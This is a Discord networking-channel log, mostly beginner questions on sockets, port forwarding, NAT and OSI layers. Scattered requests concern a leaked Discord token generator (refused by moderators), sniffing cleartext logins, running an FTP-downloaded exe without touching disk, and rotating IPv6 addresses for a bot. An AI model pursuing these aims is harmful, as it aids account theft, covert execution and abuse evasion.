#networks
1 messages · Page 2 of 1
I am Indian too
ohh
you are a programmer?
I still haven't found the solution to my problem.
when a client connects to your self, use the uuid module to create a uuid4 object (which is it's id), you can then store it on the server and send it back to the client
use a dictionary to store the current ID's and if you want, you can write it to a file when a client joins/disconnects
as for the displaying of this data, i'll leave that to you
Hi everyone, I am studying networks and I want to make a presentation about tools that simulate unstable network connections between the base station and backend. If anyone has knowledge about this topic, I would like to get information. Thanks in advance!
Hi! im trying to build a very basic game in python, and im trying to organise communication between 2 computers over the internet (not lan), how can it be done?
Websockets are the most common
Well maybe not the most common but they’re used a lot
websockets module right
Websockets is a protocol
so I have an aws lightsail
and I was told that a webserver was what I needed to use as a callback uri for this api I'm using
but is there a reason I can't just pass my own ip address as the callback uri?
like if I can run a flask script and serve myself when I visit localhost, is there a reason I can't just run a flask script and have the api pass the data to my IP address without needing a webserver at all?
You can, but you'll need to port forward (dangerous) and run a webserver on your machine to recieve the incoming request
what's dangerous about porting forward? and what is it?
Port forwarding is opening up your local network to the general internet, the best analogy I can come up with is opening a window during a thunderstorm
Anyone from anywhere in the internet can then access your local network
Your router will receive a request, and it will send it to the device on the LAN that it should be processed by (host). The host device will then process it, send a response back out
If you don't port forward, any request coming in to you will be dropped by the router
To see if your internet is on, enter this command:
nmcli radio wifi
If the output is not “enabled”, run this command:
nmcli radio wifi on’
Check if your network is listed with:
nmcli dev wifi list
It might not show at first, so run it again and again until you eventually see it.
Now, simply connect with:
sudo nmcli dev wifi connect network-[NETWORK_NAME]
Note: replace [NETWORK_NAME] with your actual network. If your network is protected by a password, it’ll ask for a password.
i hope it works
if you open a port and theres nothing listening behind it then its practically the same as not opening the port in the first place. the security risks come from the flaws in the application listening behind the port
it's a gap in your network and it's dangerous because it's like and open door to your network, a bit like you have your house and you leave your main door unlocked.
So what’s the difference if you have a server that has port forwarding enabled vs a regular server where the router forwards the packet to the server. Doesn’t the packet reach the server’s app all the same? Or is it just the case that the firewall gets bypassed with port forwarding?
Thanks, but the problem affected the wired connection too. In the end, I had to reinstall Ubuntu. What a great way to spend a day!
fun fact i had the same problem and i had to reinstall ubuntu 22.04 again too
a regular server where the router forwards the packet to the server
you've just described the process of port forwarding 😄
a packet reaches the router, if port forwarding is enabled, the router will forward the packet to the server
if its not enabled, the packet will be dropped
That's where the terminology for servers to listen on a port stems from
Oh hold up haha. Say theres no port forwarding and weve got an http server, when a client wants to send a request its gotta establish a tcp connection with the server, then it sends a request to the server. the router accepts the packet then forwards it to the http server.
Port forwarding has to be enabled for this process to complete successfully
Oh
Mainly for the last sentence
the client cannot establish a tcp connection without the server port forwarding
Of course a TCP connection is established by sending and receiving packets, too, so that part also means you need to enable port forwarding
So every http server in the world connected to a router has port forwarding enabled
you've got the right idea (even if that sentence isnt 100% true)
also before any confusion happens, port forwarding isnt specific to HTTP
I guess it depends on whether the network protocol being used uses ports
Is there an alternative to port forwarding for the http server to receive a packet from an external network? I thought that the server’s router would use its mac table to find the http server’s mac address and send the packet to the http server via the switch
mac and ip are different layers
totally seperate
but there are alternatives
such as hole punching although good luck implementing that yourself 😄
a client doesnt know the mac address of the server, they know its IP address. nearly 100% of the time, the client will never know the mac address of the server at any point
Im talking about the server’s router when it receives the client’s packet
But ive just been thinking and yeah I guess server routers do need to use port forwarsing…huh
port forwarding is only to allow people outside the network to send messages inside the network
the server (inside the network) can send messages anywhere it wants regardless of port forwarding
managed communication?
Because the router drops incoming packets that don't correspond with its port forwarding rules
Yeah and so port forwarding (and other eaoteric methods like u mentioned hole punchjng) is the only way to allow external network communication to an internal network?
What about NAT then? Doesn’t it sort of allow a client to receive a response from a device outside its network (after sending a request packet first)?
Aren't NATs simply mapping tables
yes
nat allows ip addresses to be used between many clients by using ports as identifiers
Oh
for example, any device on your LAN will have a unique private IP address however they will share a public IP address and it's up to NAT to decide how
let me draw something, one sec
nat is just the translating of private to public ips and vice versa w the nat table, but the incoming packets that get translated by the nat are still port forwarded to your device.
Thanks for that
Is this right?
NATs are responsible for uniquely defining local IP & port pairs outside of the local network
yes this is true, if the NAT table recieves a packet and recognises where its going/who its from and wants to allow forwarding then it will forward it
And mapping back in
Thanks, this was rly helpful
On a side note, how does a router know the destination port of the packet if its a layer 3 device and ports are on layer 4
it will analyse the packet
it will deconstruct it, read the data and reconstruct it with data for the next hop
or simply drop it if it doesnt understand it
Yeah I get the decapsulating of the L2 to read the L3 and re-encapsulating of L2 to send it to the next hop. But a router’s a L3 device that shld only analyse up to L3, how does it know the destination port of the packet (which is on the L4)?
it has to read this data in the ip header to distinguish which protocol
thats the IP header
once protocol has been determined
it can decide how to next process the packet
which, in the case of TCP, it should read the port from the TCP headers that follow the IP headers
So after determining the L4 protocl based on that protocl header in the IP packet, the router does go on to analyse the L4 to get the port
yes, that's my understanding
Why does it work like this
But routers are L3 devices ahhhhhh
Why does TCP include the protocol port as well as its encapsulating layer
it doesnt? the port number exists in the TCP headers, not the IP headers
Oh the protocol is for UDP/TCP?
yeah + other protocols
I get it now
its an 8 bit number to represent which protocol, it doesnt reveal any data about the protocol such as ports
The protocol tells the router from where to read the port, though
If there is a port
this is a TCP header
What protocols don't use ports
i dont know any of the top of my head
Isn’t this mieading? The IP packet doesn’t contain a header that tells the destination port, the L4 protocol is in Data portion of the packet and the destination port is in that L4 protocol
ICMP doesnt use ports
By the way have you heard of HTTP3
It's a new version of HTTP based on QUIC, a protocol under UDP which was developed by Google
IP doesnt have any concept of ports, they are seperate but are seen together often enough that they are considered one
have a look at the OSI model
Yeah I was commenting on the image you sent
Which said that IP packet had a header that had the destination port
Technically it does if its protocol includes a port
where? the IP header shouldnt include a port
This image
All good haha was just making sure my understanding was right
I love networking, too
What abt networking?
i aspire to be at Joe's level one day, the stuff he has done is truly impressive
Joe the owner that is, this isnt the setup for a bad joke lol
Yess thats true
😂😂
The networking can be even possible with an protocol
how do we capture http requests for an application
Hey is it possible to run a https server with flask with a certificate that a react app accepts?
Wireshark?
Wireshark captures ALL incoming and outgoing packets
Fr? I thought it only does for browser does it capture payload datas and stuff
Nvm nvm imma just do my own research
It can capture HTTP(S), yes, among a multitude of other protocols
We use it frequently in our networking classes for capturing things like ARP packets
To add a bit to it, you can set filters on tcpdump or wireshark to only capture traffic with specific properties (ex: port, addresses or other conditions)
Though it won't have a filter for applications like you might want it to, e.g a "Discord" filter for all discord requests
But that doesn't mean you can't see discord requests at all, to expand on that example
But these packets will usually have some identifying properties on them, that can be applied in such a way that the only packets you see are from your desired applicatoin
At the very least, you could restrict by destination ip/port
hi I'm new to python and I've been tasked to create a simple web server that only processes one request. This is the code at the moment. I'm a bit confused as to what should be written in line 19
I'm just not sure what i should be assigning the "message" variable
the goal is to be able to process one HTTP request through this server and receive the contents of a simple HTML file
Do you have to use sockets for processing HTTP server? a web framework would make it much easier I think
yea it's part of the homework
i think in this section of code, i need to code up something that recieves an HTTP request i think?
oh i think i know now
i think in message i have to do
connectionSocket.recv(1024)
So I have chose to make a packet sniffer(with GUI) for my 5th sem project....so can anyone suggest me any good modules for reading packets. Idk if the socket module will work or not so pls let me know
You can try scapy, it's far more advanced and can do quite a lot
@coarse raptor other clientSocket.recv(bufsize)
receives an incoming connection
So the variable should contain the packet data if that's what u want
also bufsize must be in powers of 2
from scapy.all import *
p = sniff(iface = 'whatever your nic is')
this is networking channel, not an advertising channel
Don't drop random links like this on our server, @tiny spindle, especially not in an on-topic channel. See #rules 6 and 7
Hi, I'm using requests to make a POST request to upload an image to a server. However I'm finding that it takes a full 1 second... Is there any way I can improve this, when I don't control the server?
Such as maybe pre-emptively starting a handshake before data is ready?
it receives a message from the socket, it doesn't receive "an incoming connection"
you have to use accept for that (on the server socket)
Not necessarily
Network times are bottlenecks
Doubt it's significant part of your delay. In theory, you could but if you don't time it right, the server could close the connection and you would be forced to start all over again.
That seems closed minded 🙂
What about using an HTTP 2 library? Would that help?
Alternate question: Is there somewhere I can upload an image very quickly?
The full upload process for me takes 2 requests totaling 2 seconds (one to upload, one to get the resulting URL).
Also my current request is like this
r=requests.post(url=urlUpload, headers = headerUpload, data=dataUpload)
I was wondering if putting the file into the files parameter would be faster than the data param
I mean
That’s just how it is
Compared to a computers processing time a network request feels like years
Your amount of overhead with a library of choice should be pale in comparison for the actual request
I feel like you are just looking for a reason to not propose answers
I'm not suggesting network time would go to 0
I'm looking for possible improvements
File upload is something that takes a lot of bytes, but different libraries may stream it in different ways
For example: My first request takes about 1 second to upload the file. This returns a URL. Then I need to read that URL, and make another request that takes another 1.4 seconds or so.
But that second request, I actually don't need the full page to load. I might be able to only wait for half of the response in order to get the data that I need.
Traceback (most recent call last):
File "C:\Users\azion\Downloads\Vichy-DiscordTokenGen-Leak-Full-Source-main\Vichy-DiscordTokenGen-Leak-Full-Source-main\src\main.py", line 136, in <module>
Worker(D).start()
File "C:\Users\azion\Downloads\Vichy-DiscordTokenGen-Leak-Full-Source-main\Vichy-DiscordTokenGen-Leak-Full-Source-main\src\main.py", line 26, in __init__
self.discordSession = DiscordSession(database)
File "C:\Users\azion\Downloads\Vichy-DiscordTokenGen-Leak-Full-Source-main\Vichy-DiscordTokenGen-Leak-Full-Source-main\src\modules\discord\session.py", line 16, in __init__
self.__setupSession()
File "C:\Users\azion\Downloads\Vichy-DiscordTokenGen-Leak-Full-Source-main\Vichy-DiscordTokenGen-Leak-Full-Source-main\src\modules\discord\session.py", line 27, in __setupSession
self._fingerprint = response.json()['fingerprint']
File "C:\Users\azion\AppData\Local\Programs\Python\Python310\lib\site-packages\httpx\_models.py", line 743, in json
return jsonlib.loads(self.text, **kwargs)
File "C:\Users\azion\AppData\Local\Programs\Python\Python310\lib\json\__init__.py", line 346, in loads
return _default_decoder.decode(s)
File "C:\Users\azion\AppData\Local\Programs\Python\Python310\lib\json\decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "C:\Users\azion\AppData\Local\Programs\Python\Python310\lib\json\decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)```
I just loosing my mind
someone can help me pls?
Checking what self.text contains has might be a good start. (Not sure if this is a good channel for this though.)
Vichy-DiscordTokenGen-Leak-Full-Source-main hmm
!rule 5
5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.
that doesn't matter
Token generators violate rule 5. We will not assist, regardless if you're "trolling" or not.
See ya.
its not cool when your account is hacked and your personal infomation leaked i think 🤷♂️ call me old fashioned
I gotta say that's pretty new fashioned
Words argg
Argh
Stupid keyboard
Oh. My bad. Didn't even notice that staring at my face.
Huh?
Is it able to get the user info in clear text as well? like for example if the target user is filling information on a login page lets say...
I'm making a server-client communication framework using sockets, and I'm wondering which approach makes more sense:
- Setting a relatively long timeout on the server during which if the client doesn't sent a message, they will be disconnected
- Setting a relatively short timeout on the server, and making the client send empty heartbeat packets to let the server know it's up
- Waiting for client to send data indefinitely on the server (I'm using async, so this won't block other connections)
the Second option is basically the only way to go. Waiting indefinitely can make you pretty easily liable to something like Slow Lowris esque attacks and just ddos your server
what's one similarity and one difference between a switch and a router?
Switches primarily operate on layer 2 (given we're not talking about multilayer switches) they don't care about IPs, work exclusively off MAC addresses which is different from a router, which, IIRC works on the OSI layer 3 and does care about IPv4 AND 6
ohh forgot to talk about the layers
Switches will usually also be used within a network, and while a router is technically also within a network, it can be used to send packets outside and inside of networks
yep a router is on layer 3, data link
data link is layer 2 i think
network is 3
my layers are a bit rusty so sorry if that's wrong lol
either network or transport don't remember
it's correct lol
physical data link network transport session presentation application
wait so which layer is switch
"all people seem to need doctor pepper" as my teacher taught us the mnemonic
please do not throw sausage pizza away
I haven't touched on networking in a while
that's going from bottom up but yeah the point stands
getting things mixed up
switches communicate with Frames so that makes them lower than routers on the OSI model as it encapsulates more
Routers communicate with packets
so which layer is a switch on?
Physical?
the data link layer
oh
oh my I just mixed everything up lmao
I got so confused for a second there lol sorry
yes I remember now
no worries. physical is your hardware stuff, the copper wiring, that sort of thing
yep
so what's a similarity?
they both send data within a network?
because a router still does
a router can send data outside a network or recieve data from outside a network and forward it internally
a switch only receives and forwards data internally
it does no out of network communication
?
yeah
ah a similarity..
that's a bit difficult. they're 2 different devices meant for different jobs
they both receive data?
we could say something generic like, they both handle data
but that practically applies to any electronic device
it's meant to be easy lol
exaclty
yep
Bom dia, pessoal! Quero que ajuda com uma dúvida. Tenho 3 computadores na rede, mais dispositivos android nesta rede. Suponha que eu quero impedir que outros computadores instalem softwares de pentest, monitoramento como Zabbix em suas máquinas, pois apenas o adm da rede poderá administrar essa rede e saber o que acontece nela. O que eu devo fazer, ou aprender?
!rule 4
4. Use English to the best of your ability. Be polite if someone speaks English imperfectly.
Can you resend that in English @zinc charm
you can use google translate maybe
Good morning people! I want you to help with a question. I have 3 computers on the network, plus android devices on this network. Suppose I want to prevent other computers from installing pentesting, monitoring software like Zabbix on their machines, as only the network adm will be able to administer this network and know what happens on it. What should I do, or learn?
Two PCs connected together using 10Mbps Ethernet Switch, the other ports of the Switch are not connected to any device other than the DHCP server and the Router, One PC want to send 100 KByte file to the other PC.
- List ALL Frames exchanged through the switch
2.Calculate the overall exchanged data.
-
Calculate the time required to send the 100 Kbyte file if TCP is used.
-
Calculate the ffective data transfer rate if TCP is used.
-
Repeat 3 and 4 if UDP is used.
hey fellow python devs, I'm building basic chat application using sockets and I need to have concurrency to maintain multiple connections. I have looked it up and I found out that I can achieve concurrency with threads and asycio. but I am confuse which should I use? I read it on an article that asyncio is efficient in some ways but still I am confuse, need assistance.
Hi everyone, please tell me how to run python file as administrator
What is it for? One thing to try is to use a server port number greater than 1023.
Not sure whether you can do this on Android easily.
I'm using an api that has a callback uri
how do I give it my IP address so it'll send the data directly to my machine?
I was told I could do port forwarding
and I have this code
import socket
sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 5555
sock.bind((host, port))
sock.listen(1)
conn, addr = sock.accept()
print(addr)
data = "Hello!"
data = bytes(data, 'utf-8')
conn.send(data)
sock.close()
but it doesn't connect when I type in my IP address:5555 in chrome
even though I'm running the script
I'm not experienced with sockets - but do they receive incoming HTTP requests?
I thought that was the job of a web server, like flask
Usually it's much better to handle these callback based APIs with a webserver
so there's no way to receive http requests directly with server code running locally?
I would need to use my aws lightsail?
Oh no, it's very possible
But whoever suggested port forwarding probably also gave you a word of advice that it's dangerous
sure but I don't really care about that since it's only dangerous while the server code is running, right?
and only if someone happens to target my specific device
not really
that port is always open
it's like leaving your garage door open 24/7
you mean in order to port forward you need to go into your router console and open it?
yes
I see
once you do that it's smooth sailing
just set up a rudimentary flask app to handle the URL callback
I see. I already have a server instance running on aws, but I haven't uploaded any code yet
if I upload the code, do I have to execute it in the aws command line?
I just uploaded the following test code
from flask import Flask
app = Flask(__name__)
@app.route("/")
def home():
return "This is a test message!"
if __name__ == "__main__":
app.run(debug=True)```
as a .py file
Not sure, I haven't used lightsail. You could probably just go to the / route to see if it updates
I don't think I know what that means
what is app route?
I ran this code and tried to connect to the server's IP address and it didn't connect
That's an AWS issue then, probably a misconfiguration
ok I played around with the settings and now when I go to the server's ip address I get this
but where is my "this is a test message"
is there any general issue with Bearer auth in requests? i'm copying request headers verbatim from the way chrome sends them but getting 401 unauthorized in python
do i need to do an OPTIONS request first?
like i can call login method but then calling another method with the same exact authorization "Bearer " header doesn't work
oh jfc i just needed to put headers=

I finally got my server configured to take the data from the api call
but now I need to send that url data to my local machine so I can retrieve the audio clip and play it
is there a way in flask to send data to an IP address? I'm afraid it would slow everything down if I just had my local machine just constantly pinging the server asking if the data was ready
Is it the right place to discuss about socket programming and TCP and UDP connections?
What is TCP and UDP communications?
TCP is a connection-oriented protocol, whereas UDP is a connectionless protocol. A key difference between TCP and UDP is speed, as TCP is comparatively slower than UDP. Overall, UDP is a much faster, simpler, and efficient protocol, however, retransmission of lost data packets is only possible with TCP.
I ve doubt in this paragraph
i dont
Ask away
But if there's no application listening behind it then connections and data will just be dropped as if the port wasn't forwarded.
The dangers of port forwarding come from the application listening behind the port. In of itself, port forwarding isn't dangerous.
that's what I was thinking. btw, is there a way for a server to send data to computer that isn't port forwarded?
Not if it’s on a different network which is not directly connected via a router
I see
I've finally got everything working, but there's one problem left
my client doesn't know when the server has received the audio file
so it just needs to keep pinging the server to ask if it's ready
is this the right way to do this?
it seems hacky
It’s called polling
You can have your server notify the client when it receives the audio file
notify? I thought the server could only send messages to the client when it got a get request from that client?
Sure. It’s similar to a callback or how discord does interaction over HTTP
Your client would need port forward of course
Websockets are another option
oh
can websockets make a connection without port forwarding?
Should be
discord.py uses websockets
No need to port forward
Keep in mind that port forwarding isn’t really necessary on a production server so I feel like worrying about port forwarding doesn’t have much merit
yes. in the context of HTTP there are several ways such as server side events, websockets and polling.
@prisma cobalt Real quick, I remember you saying port forwarding is the only way for devices outside a network to communicate with devices within a network.
how is a computer in a home network able to receive any http responses from outside networks then since port forwarding isnt enabled by default?
it can only happen once the computer in a home network first contacts the server
then the router knows that the incoming messages are "authorized" and so it forwards them to the original computer instead of dropping them
effectively creating a hole in the firewall, much like port forwarding but port forwarding doesnt require the computer on the inside of the network to talk first
Oh yeah the router firewall allows packets through that are in an established tcp connection is that it?
this makes sense
yeah pretty much
but then in this stage, the server router would need port forwarding enabled to allow that initial communication
yes, the server and only the server would need to
for residential networks that is
commercial networks usually only have one physical server so they dont need NAT so they dont need port forwarding since the server uses the public IP (it doesnt have a private ip) but you dont need to worry about this that much
oh thats cool to know
we are networking the big network
I need help in #help-croissant
Good evening everyone, I was wondering if anybody has any resources they can point me to regarding implementing custom networking protocols in python
I have a doubt in writnig socket programming
can someone help with it?
who s comfortable with that?
for running server and client file in python, why do we have to run server in powershell adminitstrator mode and client in normal powershell?
I M FOLLOWING THIS BOOK
6th Edition, Kurose and Ross```
can you help me
may be due to server running permission is set to admin
File "UDPclient.py", line 7, in <module>
clientSocket.sendto(message,(serverName, serverPort))
TypeError: a bytes-like object is required, not 'str'
#udp client
from socket import *
serverName = 'hostname'
serverPort = 12000
clientSocket = socket(AF_INET, SOCK_DGRAM)
message = input('Input lowercase sentence:')
clientSocket.sendto(message,(serverName, serverPort))
modifiedMessage, serverAddress = clientSocket.recvfrom(2048)
print(modifiedMessage)
clientSocket.close()
This is the code
whats wrong in this line
what OS are u using?
win10
error is showing you are passing string
yess
we have to pass string right
its expecting input as string
this code
u can encode it to bytes
what should i be doing?
btw may i confirm that you are comfortable with computer networking?
i did before
how to overcome this error?
i'm lil busy rn
when you ll be free?
after 7
you are which timezone?
ist
serverName = 'hostname'
serverPort = 12000
clientSocket = socket(AF_INET, SOCK_DGRAM)
message = input('Input lowercase sentence:')
clientSocket.sendto(message.encode(),(serverName, serverPort))
modifiedMessage, serverAddress = clientSocket.recvfrom(2048)
print(modifiedMessage)
clientSocket.close()```
try it
Input lowercase sentence:sdf
Traceback (most recent call last):
File "UDPclient.py", line 6, in <module>
clientSocket.sendto(message.encode(),(serverName, serverPort))
socket.gaierror: [Errno 11001] getaddrinfo failed
@steady sage
it means hostname can't be resolved
will see it later
Input lowercase sentence: this is lower case statement
b'THIS IS LOWER CASE STATEMENT'
why b is coming in front
from socket import *
serverName = 'localhost'
serverPort = 12000
clientSocket = socket(AF_INET, SOCK_DGRAM)
message = input('Input lowercase sentence: ')
clientSocket.sendto(message.encode(),(serverName, serverPort))
modifiedMessage, serverAddress = clientSocket.recvfrom(2048)
print(modifiedMessage)
clientSocket.close()
i did the change to serverName
In netmiko, can i do multiple if else statements under one command, as show in the picture? Or is there a better way to do that? Like if i want to do multiple check
Do some DDOS attacks have port scanners to flood many endpoints with opened valid ports?
#TCP Server
from socket import *
serverPort = 12000
serverSocket = socket(AF_INET,SOCK_STREAM)
print('socket created')
serverSocket.bind(('localhost',serverPort))
serverSocket.listen(1)
print('The Server is ready to listen')
while True:
connectionSocket,addr = serverSocket.accept()
print('Connected with ',addr)
sentence = connectionSocket.recv(1024)
capitalizedSentence = sentence.upper()
connectionSocket.send(capitalizedSentence)
connectionSocket.close()
what does .recv(1024) means?
im curious as when i search up how DDOS attacks work no attack show if they use port scanners
it recives a message that can only be as big as 1024 mbs iirc
What would be the point? Usually the DDOS target is a specific service such as a website (which uses port 80 or 443). In either case, the port in known beforehand.
Because it’s not a string, it’s a bytes object. A string cannot be sent or received directly over a socket.
ah my bad
for e.g flooding of internal ports
Hey, i'm learning asyncio streams to do network programming for a simple multiplayer game and have a question about how to structure my network protocol.
I don't know if one of these approaches is strictly better than the other but I'd like some feedback on what seems like a better idea, or at least more familiar.
One approach would be to send packets back and forth like a conversation, this means that the way a packet is interpreted depends on the previous packet.
(here's an example of what some code using that approach looks like (also this is prototype code I know its not using asyncio or streams but the key thing to look at here is the control flow and not the actual module i'm using to send & recv data))
server code:
while True:
name = conn.recv(2048).decode()
if name not in Player.players:
logging.info(f'name {name} for {addr} accepted')
conn.send(b'name_accepted')
player = Player(name, conn)
players.append(player)
break
logging.info(f'name {name} for {addr} rejected')
conn.send(b'name_rejected')
client code
while True:
message = sock.recv(2048)
match message:
case b'ask_for_name':
while True:
prompt = sock.recv(2048).decode()
sock.send(input(prompt).encode())
resp = sock.recv(2048)
if resp == b'name_accepted':
break
elif resp == b'name_rejected':
print('Name rejected')
else:
raise NetworkDesyncError
the other way would be to use a single loop with a command like syntax for the packets
so for example
conn.send(f'name {name}'.encode())```
or if there's a better way to do things i'm happy to chat about it
my concern with the first approach is that the client and server are essentially behaving like state machines that have to be kept in sync across the socket
For those who debug network traffic and such, this may be of interest.
https://github.com/stryngs/RICP
Hello folks, long time no see
I recently built a simple port scanner app but I would like to add other features. But I just don't know what other features to add, I don't know much about network programming. Any ideas/suggestions would be greatly appreciated
What lib did you write it with @wicked salmon ?
Its a very simple app in which it just checks for open ports on a network and in terms of lib, I just used socket and threading to speed it up
That's nice low level hands on.
any other features I can possibly add on?
I'm sure there are. What now, I could'nt tell ya, not sure.
or better yet, any other good idea for a network project
Absolutely. Clone RICP and do a PR fixing my bi-directional pipe want.
I'm adding encryption to it right now. Torn on which crypto model to go with. Studying up
I wrote this thing hoping to give a talk but never followed through with it. Something real life popped up to where it became useful and so I finished it and published it, but the 2-way doesn't work yet.
sounds great, will definitely look into it
and..... encryption enable
hi! i have written a small script to just copy data from one tcp server to another. so whatever's sent from one of them is then forwarded to the other by the script that sits in between and connects to both of them.
async with await anyio.connect_tcp(src_ip, src_port) as reader, await anyio.connect_tcp(dst_ip, dst_port) as writer:
while True:
try:
await writer.send(await reader.receive())
except anyio.EndOfStream:
break
this is the code i've got.. but i'm wondering how this scales.. what if the "writer" is able to send data faster than the "reader" can receive? (different bandwidth)
what happens then?
what i want to happen is that this proxy will then buffer the data.. so the writer should be able to send as fast as it can..
Sounds like you need a FIFO queue
do you have an example on how to implement that?
This sounds like a consumer/produxer problem. I’ve only played around with it so read this with a grain of salt. you can have a queue.Queue() between your producer (the tcp server that writes) and consumer (the tcp server that reads). Your producer writes to the queue.Queue() as fast as it wants, and since it’s a fifo structure, the consumer can take its time to process each item, taking each item from the front of the queue, while the producer keeps filling the back of the queue. There’s other ways to solve this problem e.g thread locks and semaphores but queus are a nice and easy way to do it.
yeah, that sounds about right.. should i go about this with async?
maybe this belongs in #async-and-concurrency
yeah, i'll try there 🙂
I'm lazy and always forget how to thread. To help my forgetfulness I wrote a library. Enjoy! https://github.com/stryngs/easy-thread
does anyone knows to send mail in python?
The goal is to create a simple mail client that sends email
to any recipient. Your client will need to establish a TCP connection with
a mail server (e.g., iiith mail server: mmtp.iiith.ac.in), dialogue with the mail
server using the SMTP protocol, send an email message to a recipient (e.g.,
your friend) via the mail server, and finally close the TCP connection with
the mail server.
Your job is to code and test your client by sending email to different user
accounts
does anyone have ideas on how to approach this qn
@sharp finch
the module smtplib should do the job nicely
this outlines it in more detail: https://realpython.com/python-send-email/
Ask your question, "plz"
i fixed my problem
Nice and easy. I hate cobbling stuff together from huge documentations...
did you find your solution?
i'm moving forward with the first method, where the server stays in a loop waiting for a specific packet,
heres a sample of some of the code I'm writing
async def get_name(self, client):
await client.wait_for_packet(b'name')
logging.info(f'waiting for name for {client.addr}')
while True:
name = await client.get_validated_packet(
validator=self.validate_name, decoder=bytes.decode)
if name:
player_id = self.add_player(name, client)
logging.info(f'accepted name {name} for {client.addr}')
await client.write(b'name_accepted')
return player_id
else:
logging.info(f'rejected name {name} for {client.addr}')
await client.write(b'name_rejected')
but i'm still happy to get any advice about a more robust way to do it
i'm looking to expand on my code to include a very simple http api endpoint to basically remote control the code.. without resorting to using a whole framework, is there an easy way of doing this?
i basically want to be able to perform an http get with a couple of arguments
are you looking to "perform" an http get or receive and handle a get request @flint nexus ?
the latter
i have a very simple script that will take two arguments upon startup.. it's basically two endpoints that it need to connect to
but instead of doing it like that, i want to accept these arguments over http
so that the script can be "remote controlled"
i would recommend fastapi (fast is in the name, its pretty easy) but since you said you dont want to use a framework then its possible to use the socket module but you'd have to implement handling the requests yourself and it wouldnt be very good
well, fastapi sounds interesting
FastAPI framework, high performance, easy to learn, fast to code, ready for production
have a look at https://fastapi.tiangolo.com/tutorial/query-params/
which is probably more specific to what you want
fastapi will automatically typecheck the data as well as auto document your API for you so you dont have too
i guess i'm more curious on how to fit everything together
this needs to "fork out"
but that's a task for tomorrow.. thanks for your input
have to implement email sending without using smtp python lib.
implement from scratch using TCP protocol
That's going to be a bit tricky building from scratch
Yeah, especially with tls and authentication
UDP requests?
As an answer to a question I asked several days ago (which no one had the dignity with which to respond) if you are looking for a reference for implementing custom networking protocols a good reference is the book Foundations of Python Network Programming by Brandon Rhodes and John Goerzen
Can anyone give me a place to start to stream a webcam connected to a raspberry pi to an android smartphone on a different network?
!rule 9
7. Keep discussions relevant to the channel topic. Each channel's description tells you the topic.
Maybe post that on indeed or a freelancing website. I don't think discord is the way to go anyway tbh
Sorry, I wasn't looking for someone to code something for me. I was more looking for something like "someone did something sort of like that on this post". I had just done a lot of googling without really knowing what to search for.
I've been trying to create a p2p network, but I found out that my network provider is using a randomly allocating symmetric nat so I'm unable to do any reasonable tcp hole punching afaict. I'm completely open to using multiple public rendezvous servers but they don't seem to useful right now. Is there any method or reasonable solution? I don't think having each client test 30k+ target ports is reasonable. I'm also working in python 3.8 if that matters at all.
when using scapy to perform a simple sniff and summary ```python
from scapy.sendrecv import sniff
packet = sniff(5)
packet.summary()it gives me this error: `Unable to guess datalink type`. but if I include IPv6 it workspython
from scapy.layers.inet6 import IPv6
from scapy.sendrecv import sniff
packet = sniff(5)
packet.summary()```why?
Hi i need to learn networking, im a beginner can any one guide me 🙂
what is the TLSAdapter
Anyone good at AWS
hello
is it possible to send and receive data every 10 secs or any timing using sockets library?
it certainly is!
hi everyone, hope you are well
listen I'm in the middle of pulling out my hair for several days, I have a server with an ipv6/64 block, and I would like to allow my bot to use a random IPv6 address for each request, is it possible?
The solution I find most often is to open nIPv6 addresses, create nIPv4 proxies and use them in such a way that IPv4:xPort => IPv6; isn't it easier? I don't have the knowledge to open X addresses of a block on debian, make them listen on a port, redirect each port to make proxies...it looks like a quagmire
is there a way to download an exe over ftp and run it without saving to disk
I've been googling for over an hour and can't find anything
any interesting challenge @warped ingot is there any reason for doing so?
trying to keep the program as 1 file without adding space to disk
you could easily-ish do it with a python file but with an exe 🤔 it would be very difficult
Your EXE needs to be stored somewhere
Hey guys, I have a POST call that I'm testing in Imsonia, anyone knows how I could do the same with the requests package?
The log of imsonia is:
| --X-INSOMNIA-BOUNDARY
| Content-Disposition: form-data; name="action"
| yop_poll_record_vote
| --X-INSOMNIA-BOUNDARY
| Content-Disposition: form-data; name="_token"
| 46605358f8
| --X-INSOMNIA-BOUNDARY
| Content-Disposition: form-data; name="data"
| Content-Type: application/json
| {
| "pageId":"2",
| "reCaptcha":"...",
| "trackingId":"",
| "gdprConsent":"",
| "data":[
| {
| "id":"5",
| "type":"option",
| "data":[
| {
| "id":"3",
| "data":true
| }
| ]
| }
| ],
| "user":{
| "id":"",
| "first_name":"",
| "last_name":"",
| "email":"",
| "type":"anonymous",
| "f_data":""
| }
| }
| --X-INSOMNIA-BOUNDARY--
But if I put those data action, *_token * and *data * in as a map in data or json it doesn't work, anyone have a tip about that?
hello, i ran the command python3 -m http.server with a simple html file in the same directory. using my laptop I can access it using the ip of my laptop but I cannot from my phone despite they are on the same network...?
are you sure your entering the same address?
if its not using port 80, did you manually set the port on the phone
defaults to port 8080, so you'd need something like 192.168.1.1:8080, assuming 192.168.1.1 is local ip for the laptop
try 127.0.0.1:8080
the exact command I ran specified port 8080. I then copied the url from the browser and sent it to my phone to ensure there was no way I could get it wrong
ah, thats the reason
it is usually
lame
so as example, they might redirect all laptops to one and phones to another
hence why i am unable to connect?
universities have lots of students which have lots of devices, as such they need to allocate large amounts of IP addresses. They can do this by subnetting
find the ip address of your phone if you can, it should be in settings
192.168.122.1:8080
i bet the part in bold is different
hmm, in your phone settings 🤔 ?
it is like 138.x.x.x
yeah that looks public
weird, where did you find it?
if its in your phone settings then thats odd but not unheard of
on android 10
i went to
settings > connections > Wi-Fi > settings button on name of wifi > under headder: IP address
hmmmm
can i use termux to find it with ip a
?
lol
it doesnt give me my local
ig i dont have one
imma call it
lol they were very untrained for that one
